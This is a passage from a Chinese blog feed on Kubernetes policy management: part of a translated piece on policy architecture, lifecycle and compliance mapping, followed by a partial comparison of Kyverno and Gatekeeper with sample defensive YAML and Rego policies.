&lt;p&gt;运行时策略能够根据访问 Token 中定义的的上下文和范围，限制 Kubernetes API 对资源的访问，或者对请求速率进行限制，避免队列积压或者控制器发生拒绝服务。例如阻止容器访问不应访问的命名空间内的资源，或者从 CoreDNS 中拉取服务信息，或者尝试通过 DoS 攻击准入控制器来绕过策略引擎。&lt;/p&gt;

&lt;p&gt;运行时策略中可以依据 &lt;a href=&#34;https://www.cisecurity.org/benchmark/kubernetes/&#34; target=&#34;_blank&#34;&gt;CIS Benchmark for Kubernetes&lt;/a&gt; 这样的容器安全标准进行周期性的检查。合规人员可以实现自动化的 CIS 基线检查，进行加固或者简单地进行监控和输出报告。&lt;/p&gt;

&lt;p&gt;安全团队可以将策略报告输出到 Kubernetes API 审计流中，从而保持对编排活动的掌控。&lt;/p&gt;

&lt;p&gt;在这些机制之外，云原生世界中出现了越来越多的安全左移的案例，例如在 GitOps 流程中可以在 CI 环节甚至开发者的工作站中执行策略，这样开发者就可以尽早得到策略评估的反馈情况。在“开发”一节中，会包含更多这方面的内容。&lt;/p&gt;

&lt;h3 id=&#34;pdp&#34;&gt;PDP&lt;/h3&gt;

&lt;p&gt;策略引擎的角色就是策略决策点（PDP）。策略引擎可以在 Kubernetes 准入控制器中运行，或者也可以用特权工作负载的方式运行在集群里。PDP 可以做出安全、韧性、软件工程等方面的策略决策。&lt;/p&gt;

&lt;p&gt;当策略设置为通知或者审计模式的时候，PDP 会根据策略中的要求进行检测，不匹配的截获会报送给 PEP。&lt;/p&gt;

&lt;p&gt;策略引擎可以有自己的语言，用于策略的定义和管理。策略语言可以是 DSL，也可以是通用语言，或者声明式配置。不论如何定义，策略都是可以被 Kubernetes 集群进行访问的，最佳实践就是将其表达为 Kubernetes CRD。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kubernetes/community/tree/master/wg-policy&#34; target=&#34;_blank&#34;&gt;Kubernetes 策略工作组&lt;/a&gt;编写了一种弹性的可复用的策略结果报告定义。策略报告 CRD 是一种 Kubernetes API 对象，任何的 PDP 都可以用这种资源来报告策略执行结果；而 PAP 可以借此读取、保存以及报告当前以及实时的策略数据。PAP 还可以使用 Policy Report 对象对多个集群违反策略的细节情况进行外化，从而可以集成到外部的运维工具，用于事件管理、安全运维以及治理、风险、合规，以及进一步的映射到法规和标准控制。&lt;/p&gt;

&lt;p&gt;补救措施包括根据策略要求进行修复，以符合策略中指定的最佳实践。当策略设置为 &lt;code&gt;enforce&lt;/code&gt; 模式时，PEP 会在违反策略的时候进行补救。当策略设置为 &lt;code&gt;inform&lt;/code&gt; 模式的时候，PEP 会将违反策略的情况汇报给 PAP，PAP 则会触发补救措施，或者将信息转换为告警发送给事件管理系统或者安全运维中心，从而启动补救措施。&lt;/p&gt;

&lt;h3 id=&#34;pip&#34;&gt;PIP&lt;/h3&gt;

&lt;p&gt;策略决策过程还需要其他的元数据和配置数据的支持。例如有的规则需要针对命名空间标签进行过滤，这样就需要对命名空间的标签进行查询；另外还可能需要从 API Server 进行查询，获取资源限制以及其它相关属性。&lt;/p&gt;

&lt;p&gt;Kubernetes 策略引擎通常需要调用 Kubernetes API 来查询额外信息，以此作为策略决策的驱动数据。有的策略引擎还允许调用外部系统的信息。当然对外部系统的调用需要具备合适的性能以及安全性。&lt;/p&gt;

&lt;h2 id=&#34;生命周期&#34;&gt;生命周期&lt;/h2&gt;

&lt;p&gt;前文介绍了 Kubernetes 的策略，并提供了一个引用架构。本节则会讨论 Kubernetes 策略在生命周期中的映射。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/cncf/tag-security#cncf-security-technical-advisory-group&#34; target=&#34;_blank&#34;&gt;CNCF 安全 TAG&lt;/a&gt; 出品的 &lt;a href=&#34;https://github.com/cncf/tag-security/blob/main/security-whitepaper/CNCF_cloud-native-security-whitepaper-Nov2020.pdf&#34; target=&#34;_blank&#34;&gt;云原生安全白皮书&lt;/a&gt; 定义了如下的生命周期：开发、分发、部署和运行。&lt;/p&gt;

&lt;p&gt;Kubernetes 的策略可以应用到每个阶段之中，这里有两个需要聚焦的对象：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;镜像：容器镜像通常由 CI/CD 构建而成，并且在容器化工作负载部署之后开始运行。&lt;/li&gt;
&lt;li&gt;配置：Kubernetes 资源定义中使用声明式方法描述了容器化工作负载的运行方式。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PaC（策略即代码，Policy as Code）已经v成为云原生世界的共识，策略管理机制借此进入软件分发管线之中。Kubernetes 策略可以以自定义资源或者 &lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/configmap/&#34; target=&#34;_blank&#34;&gt;ConfigMap&lt;/a&gt; 的方式存在，和应用资源清单协同工作。&lt;/p&gt;

&lt;p&gt;本节中，我们会讨论 Kubernetes 策略在四个声明周期阶段中的使用方式，以及 Kubernetes 策略的开发、分发以及管理。&lt;/p&gt;

&lt;h3 id=&#34;开发&#34;&gt;开发&lt;/h3&gt;

&lt;p&gt;在软件开发生命周期的早期引入安全内容，能更轻松地发现和解决问题，降低总体风险，提高安全性。因此云原生实践的重点方法就是采用左移的思路，以便尽可能在产品周期的早期发现安全问题。&lt;/p&gt;

&lt;p&gt;针对应用的 Kubernetes 策略应该和应用代码一起进行开发和管理。前面提到的网络策略、RBAC 和其它 Kubernetes 资源都属于这个类型。&lt;/p&gt;

&lt;p&gt;开发阶段还包含了 IaC 以及 PaC 物料的创建和校验，如此一来团队就可以通过声明资源，并以版本控制的方式管理这些物料，从而轻松地管理 Kubernetes 资源。&lt;/p&gt;

&lt;p&gt;在关键性的软件之中，实现全面的测试和分发策略是非常必要的。策略和代码一样，策略中的 Bug 或者非预期行为也能会导致严重的不易检测的问题。策略语言和引擎应该支持预览，并能模仿用户行为，使用多种输入进行测试。&lt;/p&gt;

&lt;h3 id=&#34;分发&#34;&gt;分发&lt;/h3&gt;

&lt;p&gt;软件供应链链中包含很多步骤，例如构建、测试、打包和分发，会包含不同工具进行持续构建和持续交付。&lt;/p&gt;

&lt;p&gt;Kubernetes 策略可以用于镜像和配置的校验，通过使用准入控制校验数字签名，确保其可信任，并且在分发过程没有遭到篡改。&lt;/p&gt;

&lt;p&gt;这一过程的最佳实践，可以把包括软件物料清单（Software Bill of Materials，SBOM）、透明日志以及证明在分发阶段发布到仓库的元数据里，并在工作负载部署进入集群执行之前使用 Kubernetes 策略进行校验。&lt;/p&gt;

&lt;p&gt;Kubernetes 准入控制和策略引擎还可以通过应用 Pod 和工作负载策略来满足组织合规要求。不合规的资源清单会被拒绝部署，同时策略引擎还可以用弹性的方式，在遭遇非关键问题时进行报告。&lt;/p&gt;

&lt;p&gt;策略报告可以把违规情况和策略结果汇报给集群管理员和工作负载属主。Kubernetes 策略工作组发布了一个可复用的报告格式，可以在任何策略引擎中发布结果。这个报告是一个 Kubernetes 的自定义资源，可以使用 Kubernetes API 进行查询和管理。&lt;/p&gt;

&lt;p&gt;另外 Kubernetes 策略引擎的设计目标中包含了策略执行的透明性，这里的透明性用指标来表达，其中包含了规则数量、结果以及策略执行的延迟等。&lt;/p&gt;

&lt;h3 id=&#34;运行&#34;&gt;运行&lt;/h3&gt;

&lt;p&gt;已部署的镜像中，一旦发现新的脆弱性，应该能被检出。所以 Kubernetes 策略应该是持续更新的，才能在运行中的脆弱镜像中指出违反策略的问题。&lt;/p&gt;

&lt;p&gt;类似地，Kubernetes 安全策略和最佳实践也应该是随时进化的，需要周期性的对运行中的应用进行检测，从而发现最新的策略违反情况。&lt;/p&gt;

&lt;h2 id=&#34;安全映射&#34;&gt;安全映射&lt;/h2&gt;

&lt;p&gt;策略是运维和其他安全领域之间的桥梁。本节会讨论 Kubernetes 策略映射到其他安全功能的方式。&lt;/p&gt;

&lt;h3 id=&#34;安全保障&#34;&gt;安全保障&lt;/h3&gt;

&lt;p&gt;安全保障需要一种整体能力，跨越构建、基础设施和运行时，解决平台和应用设计生命周期中的安全需求。作为安全开发生命周期的一部分，第一步就是为平台和工作负载开发一个威胁模型。&lt;/p&gt;

&lt;h4 id=&#34;威胁模型&#34;&gt;威胁模型&lt;/h4&gt;

&lt;p&gt;在企业中，可以通过在不同层次中定义控制和策略进行深度防御，从而对威胁进行消解。策略是最佳实践的表达，通过策略实施的治理，就是让控制项进入符合最佳实践的状态。Kubernetes 工作负载以跟用户运行并且还具备主机访问能力，这种案例就可以判别为违反策略要求。在这种情况下，威胁模型是在实际状态和配置基础之上的，&lt;/p&gt;

&lt;p&gt;用基于策略的方式来管理 Kubernetes 集群和工作负载，能够简化云原生安全模型中容器和集群的漏洞和威胁的管理工作。工作负载的隔离和分段策略，对于控制漏洞影响、制定防御措施来说非常重要。所有集群和容器的威胁模型，以及容器镜像和工作负载配置的安全影响分析是 Kubernetes 策略管理模型的基础。要进行安全影响分析，就需要了解工作负载、节点和集群的使用模式。可以使用标签或者注解的方式标识这些信息，方便策略的管理。例如 DevOps 工程师可以将管理持卡人数据的工作负载标记为高风险关键资产。&lt;/p&gt;

&lt;h4 id=&#34;交付管线中的安全保障&#34;&gt;交付管线中的安全保障&lt;/h4&gt;

&lt;p&gt;IaC 和 PaC 扩大了交付管道的适用范围。在软件声明周期中尽早加入安全内容，是确保云原生应用和服务安全的关键。在 CI 中整合安全工具的方式被称为左移。&lt;/p&gt;

&lt;p&gt;错误配置会导致特权逃逸、脆弱镜像、来自非信任仓库的镜像、用 Root 身份运行的容器、内核篡改和数据丢失。&lt;/p&gt;

&lt;p&gt;攻击者会开发各种新方法，尝试用恶意软件渗透到软件供应链之中进行攻击，从而避开传统的应用安全控制。有一些关键策略可以用于保护软件供应链。这些策略可以在 CI/CD 中执行，例如可以使用数字签名、代码完整性、镜像软件物料单等来方法来验证软件供应商的身份。还可以在将软件引入企业存储库之前，在沙箱环境中进行扫描。安全 TAG 发布的《&lt;a href=&#34;https://github.com/cncf/tag-security/blob/main/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf&#34; target=&#34;_blank&#34;&gt;软件供应链最佳实践&lt;/a&gt;》中包含了更多软件供应链安全方面的内容。&lt;/p&gt;

&lt;p&gt;企业使用的软件，不管是自行构建还是来自第三方，安全保障都是必须的。从整体的安全角度保证看来，策略实施和违规检测都是关键行为。&lt;/p&gt;

&lt;h4 id=&#34;运行时安全保障&#34;&gt;运行时安全保障&lt;/h4&gt;

&lt;p&gt;对策略的执行情况应该是可观测的，在违反策略的情况下需要进行告警。跟踪执行趋势、记录违规历史也是必要的。这种记录必须具备一定的粒度，避免在可视性方面产生断层。违规行为需要被审查，以改进政策并提高安全态势。&lt;/p&gt;

&lt;p&gt;理想状况下，应该能使用自动化的方式补救违规行为。可以用隔离违规容器或者恢复配置的方式进行弥补，防止违规情况引发进一步的攻击。当然只有相当成熟的应用程序团队和平台团队，凭借成熟的流程和应用设计才能达成自动化目标。&lt;/p&gt;

&lt;p&gt;Kubernetes 运行时安全策略的一些例子：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;监控认证和访问控制日志&lt;/li&gt;
&lt;li&gt;容器完整性监控，例如确保没有流氓进程在运行，没有更新主机文件。&lt;/li&gt;
&lt;li&gt;观测网络流量、和网络安全&lt;/li&gt;
&lt;li&gt;检测提权或新增 Capability&lt;/li&gt;
&lt;li&gt;限制以 Root 身份运行容器&lt;/li&gt;
&lt;li&gt;定期扫描 CIS 的合规性&lt;/li&gt;
&lt;li&gt;检测并报告容器的攻陷情况&lt;/li&gt;
&lt;li&gt;进行漏洞检测，确定是否有恶意软件通过交互式访问或通过网络接口注入&lt;/li&gt;
&lt;li&gt;容器遥测，为检测和响应提供信息&lt;/li&gt;
&lt;li&gt;检测在容器内运行的恶意脚本，如挖矿软件或端口扫描工具&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;事件响应&#34;&gt;事件响应&lt;/h4&gt;

&lt;p&gt;事件响应主要是人工过程，因此本节主要讨论 Kubernetes 策略管理对该活动的影响。Kubernetes 事件响应应该和 DevSecOps 流程对齐，强调可声明状态、工作负载瞬态和自动化控制。&lt;/p&gt;

&lt;p&gt;Kubernetes 和云原生技术为事件响应计划引入了新的挑战。需要对大量的遥测数据进行有效的识别，在容器的短暂生命周期中克服持久化资源的缺失，检测到其中的攻击行为。要自动地对遥测和审计数据进行采集和处理，自动化工作流从原始遥测数据中提取可操作的事件，应对基础设施的运行状态变化。现有的 SIEM 和 SOAR 平台如果聚焦于人工操作，可能难于应对这样的挑战。&lt;/p&gt;

&lt;p&gt;Kubernetes 中正在引入更多的&lt;a href=&#34;https://en.wikipedia.org/wiki/Chaos_engineering&#34; target=&#34;_blank&#34;&gt;混沌工程&lt;/a&gt;实践，用于事件响应计划和模拟，有利于发现新的威胁，设计更好的监控和遥测过程。基于机器学习的遥测分析能够帮助识别反常行为和边缘案例。自愈的重要性日益增长，借助策略及代码技术，训练 ML 模型，让这些工具随着攻击者的发展而适应。Kubernetes 策略报告中可以提供额外的数据，可以在 PAP 中搜集和保存长期数据。&lt;/p&gt;

&lt;h3 id=&#34;合规&#34;&gt;合规&lt;/h3&gt;

&lt;p&gt;Kubernetes 策略有助于自动化合规。目前已有一系列的监管标准或者行业惯例，例如 PCI、NIST 800-30、NIST 800-53，NIST 800-190、HIPAA 等。策略映射关系在集群和应用负载配置中，建立了合规目标和技术控制的连接。&lt;/p&gt;

&lt;p&gt;策略映射让集群管理员和应用属主用代码的形式定义控制的实现方式。例如 NIST 800-53 的控制项 &lt;code&gt;PROTECTION OF INFORMATION AT REST&lt;/code&gt;（用户信息和系统信息的机密性和完整性）可以映射到 Kubernetes 控制项：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;确定容器磁盘被加密&lt;/li&gt;
&lt;li&gt;保障启用 ETCD 加密&lt;/li&gt;
&lt;li&gt;用加密方式保存 Secret 对象&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以使用策略语言在 Kubernetes 中编写这些控制。另外为了便于复用，可以为策略定义参数，在保障基本功能和缺省能力的情况下，提供一种可变能力，能够应对不同的风险。&lt;/p&gt;

&lt;p&gt;策略映射完成之后，根据客户现状结合相应的参数，就可以进行部署并对 Kubernetes 配置和容器进行校验了。&lt;/p&gt;

&lt;p&gt;Kubernetes 集群中的策略不仅对安全运维团队有帮助，对合规部门也是有好处的。集群管理员需要根据合规基线对安全配置和容器以及集群进行校验；合规人员也希望通过他们的监管视角来对集群和容器的监管合规性进行评估和分享。&lt;/p&gt;

&lt;p&gt;运营和合规角色之间成功联动的关键是认识到两者之间专业知识和期望值的差异：运营管理员更喜欢不合规资产或资源的报告，而合规官员更喜欢控制实施的缺陷或缺失以及系统和数据的相应风险的报告。&lt;/p&gt;

&lt;p&gt;像之前讨论过的一个标准化的评估结果格式，如之前讨论的政策报告CRD，解决了这种观点和目标的两分法。如果使用一种模式，其格式旨在并支持不同资产和系统的标准化，这就可以实现端到端的自动化。OSCAL就是这样一种标准模式，有许多层次（见下文）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/oscal.png&#34; alt=&#34;oscal&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://pages.nist.gov/OSCAL/documentation/schema/assessment-results-layer/assessment-results/&#34; target=&#34;_blank&#34;&gt;OSCAL 评估结果模型&lt;/a&gt;定义了结构化的、机器可读的 JSON 和 YAML，以表示评估报告中包含的信息。任何对系统进行评估或持续监控活动的人都可以使用这个模型，以确定该系统符合一个或多个框架的程度。如果想要提高补救的自动化程度，这一点尤其有帮助。&lt;/p&gt;

&lt;p&gt;从本质上讲，合规的集群是使用 Kubernetes 策略管理的。基于策略的方法提高了自动化程度，减少了整体的合规性负担，使企业能够专注于制作他们的应用程序和开发流程。政策和合规状态验证的正式方法仍在制定过程之中，但在云原生社区正在出现。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;云原生组织正在采用 Kubernetes 来提高敏捷性，并使其运营和管理实践标准化。然而，安全和自动化仍然是一个挑战。在最近的一项云原生安全调查中，超过 80% 的受访者表示，他们正在寻找带有开源软件的现代安全系统，主要痛点是缺乏专业知识、与现有工具不匹配以及管理的复杂性。&lt;/p&gt;

&lt;p&gt;基于策略的 Kubernetes 运营有助于解决这些挑战，它提供了跨开发、运营和安全角色的关注点分离。各方向专家将各种配置控制的推荐做法和指南作为策略，使用云原生最佳实践在集群中部署。&lt;/p&gt;

&lt;p&gt;一个全面的 Kubernetes 策略管理战略遵循三个准则。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/&#34; target=&#34;_blank&#34;&gt;Kubernetes 策略对象&lt;/a&gt;，如 Pod Security、Limit Range、配额，以及其他与安全相关的资源，如命名空间、角色和角色绑定，以及网络策略。&lt;/li&gt;
&lt;li&gt;使用准入控制来对 Kubernetes 政策和安全资源的正确使用进行审计和执行，并在整个集群范围和工作负载配置中应用额外的策略，以实现安全和自动化。作为一个最佳实践，同样的政策集也作为持续交付管道的一部分被应用，以向熟悉系统的工作负载所有者报告违规情况。&lt;/li&gt;
&lt;li&gt;使用运行时检测和执行工具来发现、报告和阻止不安全的运行时行为，这些行为没有被配置策略阻止、或者由于配置错误而被绕过。定期的配置扫描对于管理现有工作负载的策略变化也是必要的。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;来自各执行点的政策报告和违规行为被传送到政策管理点（PAP），然后与事件响应系统和 SOC 整合，以便快速解决问题。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://landscape.cncf.io/card-mode?category=security-compliance&amp;amp;grouping=category&#34; target=&#34;_blank&#34;&gt;CNCF 云原生互动全景图&lt;/a&gt;中安全与合规类别提供了相关项目和工具的清单。&lt;/p&gt;

&lt;p&gt;云原生组织可以利用 Kubernetes 策略来定义操作控制和其他安全领域之间的映射，目的是实现治理和合规流程的自动化。通过采用基于策略的操作，企业可以实现他们的目标，即在不影响开发人员的灵活性和自助服务的情况下更加安全和合规。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kyverno 和 Gatekeeper 的简单对比</title>
      <link>/post/kyverno-or-gatekeeper/</link>
      <pubDate>Tue, 04 Jan 2022 14:03:44 +0800</pubDate>
      <guid>/post/kyverno-or-gatekeeper/</guid>
      <description>

&lt;h2 id=&#34;引言&#34;&gt;引言&lt;/h2&gt;

&lt;p&gt;在生产环境中应用 Kubernetes 时，出于安全、合规等管控目的，经常需要对工作负载进行审计、校验以及变更，例如下列场景：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;为了便于在监控和日志中识别特定应用，我们希望业务应用的 Pod 具备合适的标签结构，标识本 Pod 的业务角色。&lt;/li&gt;
&lt;li&gt;根据职责分离的设计原则，只允许 admin 用户在形如 &lt;code&gt;xxx-system&lt;/code&gt; 的命名空间创建工作负载。&lt;/li&gt;
&lt;li&gt;为了防范供应链攻击，限制仅有来自特定仓库的容器镜像才能运行，并且镜像拉取策略必须设置为 Always。&lt;/li&gt;
&lt;li&gt;恶意用户或者应用可以通过加载主机目录窃取消息或者实施破坏，因此应该限制这种加载行为。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Kubernetes 提供的 Validating 和 Mutation Webhook 能够完成这些任务，如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/admission-controller-phases.png&#34; alt=&#34;admission controller&#34; /&gt;&lt;/p&gt;

&lt;p&gt;策略引擎们更进一步，使用 DSL 来编写 Webhook 的逻辑，目前使用最为广泛的策略引擎大概是 Kyverno 和 Gatekeeper 两个产品了，因为都是面向 Kubernetes 工作的，通过 CRD 和 Webhook 技术达成目的，因此两个产品的功能和思路颇有一些相似之处，本文将对这两个产品进行一个对比，便于读者们根据实际需求进行采用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;实际上在本文之前，就已经翻译过一篇&lt;a href=&#34;https://blog.fleeto.us/post/k8s-policy-comparison/&#34; target=&#34;_blank&#34;&gt;两个产品的对比&lt;/a&gt;，因为版本更迭，其中部分结果已经发生变化。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;项目简介&#34;&gt;项目简介&lt;/h2&gt;

&lt;p&gt;Kyverno 从 2019 年 5 月 24 日在 Github 发布第一个 Release 之后，于 2020 年 11 月 19 日进入 CNCF 版图成为沙箱项目。一年半的时间里，发布了 98 个 Release，收获 1.7k Star，先后有 88 个贡献者参与了该项目的建设之中。目前其&lt;a href=&#34;https://kyverno.io/policies/&#34; target=&#34;_blank&#34;&gt;策略库&lt;/a&gt;中包含了 100 条策略，Kyverno 官方的架构图如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kyverno-architecture.png&#34; alt=&#34;kyverno architecture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从上图可以看到，Kyverno 的 Webhook 组件通过 Mutating 和 Validating 两个接口和 Kubernetes 进行交互，用于处理 Kubernetes API Server 的 AdmissionReview 请求。Policy 控制器负责检视集群中的策略对象；而 GenerateControl 实现了 Kyverno 的一个亮点功能，根据策略针对部分事件生成特定资源。&lt;/p&gt;

&lt;p&gt;Gatekeeper 的情况比较复杂，它是在 OPA 项目基础上的一个实现，所以我们经常会看到 OPA/GateKeeper 这样的说法。OPA 的全称是 Open Policy Agent 是一个开源的通用策略引擎，在 2018 年进入 CNCF 沙箱，2021 年 1 月毕业。目前 OPA 的版本为 v0.36.0，它的架构图如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/opa-service.svg&#34; alt=&#34;opa arch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里不难看出，OPA 的工作流程是也是很贴近 Kubernetes 的 AdmissionReview 流程的。Gatekeeper 在 OPA 的基础之上，根据 Kubernetes 生态的习惯做法，定制了多种 CRD，并融入到 Admission Controller 的体系之中。Gatekeeper V3 的架构体现了这一思路：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gatekeeper-v3-arch.png&#34; alt=&#34;gatekeepr arch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图中 Gatekeeper 将 OPA 封装起来，通过 CRD 和 Admission Controller 的交互，实现了策略的自动化管理。Gatekeeper 的&lt;a href=&#34;https://github.com/open-policy-agent/gatekeeper-library&#34; target=&#34;_blank&#34;&gt;策略库&lt;/a&gt;中也包含了几十条实用策略。&lt;/p&gt;

&lt;p&gt;相似的架构和工作原理，决定了两者的功能也是有颇多的相似之处的，下面将从作用范围选择、策略编写、审计和可见、独特功能几个方向分别对两者进行介绍。&lt;/p&gt;

&lt;h2 id=&#34;作用范围&#34;&gt;作用范围&lt;/h2&gt;

&lt;p&gt;Kyverno 提供了 match 和 exclude 两个关键字，用于指定策略的作用范围。两者结合能够相对精确地对 API Server 的请求进行过滤，确定是否启用策略。Kyverno 的选择条件包括四个分类，分别是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;resources: 通过标签、命名空间、名称、注解、API 类型等进行选择；&lt;/li&gt;
&lt;li&gt;subjects: 通过发起动作的用户、用户组和 ServiceAccount 进行选择；&lt;/li&gt;
&lt;li&gt;roles 和 clusterroles：发起动作的用户角色以及集群角色。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;多个条件同时作用时候，可以使用 any 和 all 关键字，分别用于指定 OR 或 AND 的逻辑关系。例如下面的规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: match-criticals-except-given-users
      match:
        all:
        - resources:
            kinds:
            - Pod
            selector:
              matchLabels:
                app: critical
      exclude:
        any:
        - subjects:
          - kind: User
            name: susan
          - kind: User
            name: dave
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个选择器匹配 &lt;code&gt;app=critical&lt;/code&gt; 的 Pod，但是排除了 &lt;code&gt;susan&lt;/code&gt; 和 &lt;code&gt;dave&lt;/code&gt; 的用户。&lt;/p&gt;

&lt;p&gt;再看 Gatekeeper 中对目标对象的选择，它的 &lt;code&gt;spec.match&lt;/code&gt; 字段支持以下几种选择：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;kinds：一个数组型字段，元素为 apiGroup 和 kind 的组合；&lt;/li&gt;
&lt;li&gt;scope：用于定义作用范围，可以是 &lt;code&gt;Namespaced&lt;/code&gt;, &lt;code&gt;Cluster&lt;/code&gt; 或 &lt;code&gt;*&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;namespaces：一个数组型字段，元素为命名空间名称；可以支持尾部通配符，例如 &lt;code&gt;kube-*&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;excludedNamespaces：数组字段，需要排除的命名空间，同样支持尾部通配符；&lt;/li&gt;
&lt;li&gt;labelSelector：其中包含 &lt;code&gt;matchLabels&lt;/code&gt; 和 &lt;code&gt;matchExpressions&lt;/code&gt; 两个字段，分别用于指定标签选择器和表达式选择器；&lt;/li&gt;
&lt;li&gt;namespaceSelector：标签选择器，用于选择命名空间；&lt;/li&gt;
&lt;li&gt;name：支持尾部通配符，用于过滤对象名称。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对比看来，Gatekeeper 的字段类型更丰富一些，但是 Kyverno 的优势是加入了针对特定动作发起者直接进行限制，Gatekeeper 也不是没有这种能力，它需要在策略中直接实现针对这些内容的过滤，所以二者的能力类似，但侧重点、便利程度是有所不同的。&lt;/p&gt;

&lt;h2 id=&#34;策略编写&#34;&gt;策略编写&lt;/h2&gt;

&lt;p&gt;Kyverno 和 Gatekeeper 的策略编写方式是迥然不同的，例如一个简单的标签验证策略，在 Kyverno 中的实现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  pattern:
    spec:
      containers:
      - name: &amp;quot;*&amp;quot;
        resources:
          limits:
            memory: &amp;quot;?*&amp;quot;
            cpu: &amp;quot;?*&amp;quot;
          requests:
            memory: &amp;quot;?*&amp;quot;
            cpu: &amp;quot;?*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在 Gatekeeper 中就相当不同了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package limit
resources_defined(x) {
  x.resources; x.resources.limits; x.resources.requests
}
violation[{&amp;quot;msg&amp;quot;: msg}] {
  ctr_list = input.review.object.spec.template.spec.containers
  some i
  ctr = ctr_list[i]
  not resources_defined(ctr)
  msg = sprintf(&amp;quot;%v containers without &#39;resource&#39; fields&amp;quot;, [ctr.name])
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Rego 语言给 OPA/Gatekeeper 带来强大能力的同时，也带来一定的学习成本，而 Kyverno 的最复杂语法（YAML）元素大概是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Anchors：用于表述 &lt;code&gt;if-then-else&lt;/code&gt; 语义，“如果存在 hostPath，则其内容不能是 &lt;code&gt;/var/lib&lt;/code&gt;”：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;=(hostPath):
    path: “!/var/lib”
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;foreach：用于对一个列表中的多个元素定义多种策略，例如 Pod 中的 Containers 数组。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;虽然简单，但是用主要用于描述结构内容的 YAML 来表达逻辑，还是颇有些古怪的；Rego 加持的 OPA/Gatekeeper 就不会有这种烦恼了——它的一个困扰是，每种 Constraint 都是一种 CRD，当然，这种 CRD 非常灵活，能够很好地表达 Contraint 的参数化能力。&lt;/p&gt;

&lt;p&gt;再说 Mutation，Kyverno 是使用 &lt;code&gt;RFC 6902 JSONPatch&lt;/code&gt; 和 &lt;code&gt;Strategic Merge Patch&lt;/code&gt; 两种方式来进行变更的，例如对 Configmap 对象的变更：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;patchesJson6902: |-
  - path: &amp;quot;/data&amp;quot;
    op: add
    value: {&amp;quot;ship.properties&amp;quot;: &amp;quot;{\&amp;quot;type\&amp;quot;: \&amp;quot;starship\&amp;quot;, \&amp;quot;owner\&amp;quot;: \&amp;quot;utany.corp\&amp;quot;}&amp;quot;}          
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这只是个最简单的例子，Keyverno 的 Mutation 相关语法难度远大于验证语法。&lt;/p&gt;

&lt;p&gt;而 OPA/Gatekeeper 的这个功能就让我有些意外了，它特别定义了三种 CRD，分别是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AssignMetadata：用于对资源元数据进行变更&lt;/li&gt;
&lt;li&gt;Assign：对元数据之外的内容进行变更&lt;/li&gt;
&lt;li&gt;ModifySet：从列表中加入或者移除内容&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如要加入一个注解：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: mutations.gatekeeper.sh/v1beta1
kind: AssignMetadata
metadata:
  name: demo-annotation-owner
spec:
  match:
    scope: Namespaced
  location: &amp;quot;metadata.annotations.owner&amp;quot;
  parameters:
    assign:
      value: &amp;quot;admin&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;两个产品都提供了对策略进行测试的能力，不过 Kyverno 很遗憾地没有提供对 arm64 的支持。&lt;/p&gt;

&lt;h2 id=&#34;审计和可观测性&#34;&gt;审计和可观测性&lt;/h2&gt;

&lt;p&gt;Kyverno 提供了一个单独的可观测性服务，可以用 Prometheus 抓取如下内容：&lt;/p&gt;

&lt;ul&gt;
